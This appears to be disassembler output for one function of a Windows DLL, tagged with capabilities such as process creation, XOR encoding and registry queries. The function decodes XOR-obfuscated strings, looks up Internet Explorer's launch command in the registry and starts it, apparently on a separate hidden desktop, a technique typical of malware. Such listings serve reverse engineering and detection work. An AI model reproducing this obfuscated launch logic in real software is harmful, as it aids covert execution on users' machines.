Function at 0x10004ec0
Capabilities:
Create process on windows
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x15c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10004ee3
sub esi, edi
je 0x1000511d
movaps xmm0, xmmword [0x1002e900]
movups xmmword [ebp - 0x34], xmm0
push 0x2d
movaps xmm0, xmmword [0x1002e8b0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xccdac4f0
mov dword [ebp - 0x10], 0xcac5fbc6
mov dword [ebp - 0xc], 0xcfc3cec9
mov byte [ebp - 8], 0xc4
call fcn.100126ff
mov esi, eax
lea ecx, [ebp - 0x33]
mov edi, esi
add esp, 4
mov eax, 1
sub edi, ecx
nop dword [eax]
lea edx, [ebp - 0x34]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [edi + edx], cl
cmp eax, 0x2c
jbe 0x10004f40
push 0x104
lea eax, [ebp - 0x150]
mov byte [esi + 0x2c], 0
push 0
push eax
mov dword [ebp - 0x158], 0x104
call fcn.10014920
add esp, 0xc
lea eax, [ebp - 0x154]
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x2c
push 0
push esi
test eax, eax
je 0x10004fc2
call fcn.10014920
push 1
push esi
call fcn.1001272f
add esp, 0x14
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
call fcn.10014920
push 1
push esi
call fcn.1001272f
add esp, 0x14
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push dword [ebp - 0x154]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x154]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000511d
lea eax, [ebp - 0x150]
push 0x1002e3ec
push eax
call fcn.10013ca0
add esp, 8
test eax, eax
je 0x1000511d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xorps xmm0, xmm0
mov dword [ebp - 0x1a8], 0x44
movlpd qword [ebp - 0x1a4], xmm0
movlpd qword [ebp - 0x19c], xmm0
movlpd qword [ebp - 0x194], xmm0
movlpd qword [ebp - 0x18c], xmm0
movlpd qword [ebp - 0x184], xmm0
movlpd qword [ebp - 0x17c], xmm0
movlpd qword [ebp - 0x174], xmm0
movlpd qword [ebp - 0x16c], xmm0
movaps xmm0, xmmword [0x1002e8d0]
push 0x10
movups xmmword [ebp - 0x44], xmm0
call fcn.100126ff
mov esi, eax
lea ecx, [ebp - 0x43]
mov edi, esi
add esp, 4
mov eax, 1
sub edi, ecx
lea edx, [ebp - 0x44]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [edi + edx], cl
cmp eax, 0xf
jbe 0x100050a3
cmp dword [ebp - 0x15c], 0
mov byte [esi + 0xf], 0
mov eax, dword [ebp - 0x1a0]
cmovne eax, esi
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x1a8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x150]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 1
mov word [esi + 0xc], 0
push esi
mov byte [esi + 0xe], 0
call fcn.1001272f
add esp, 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret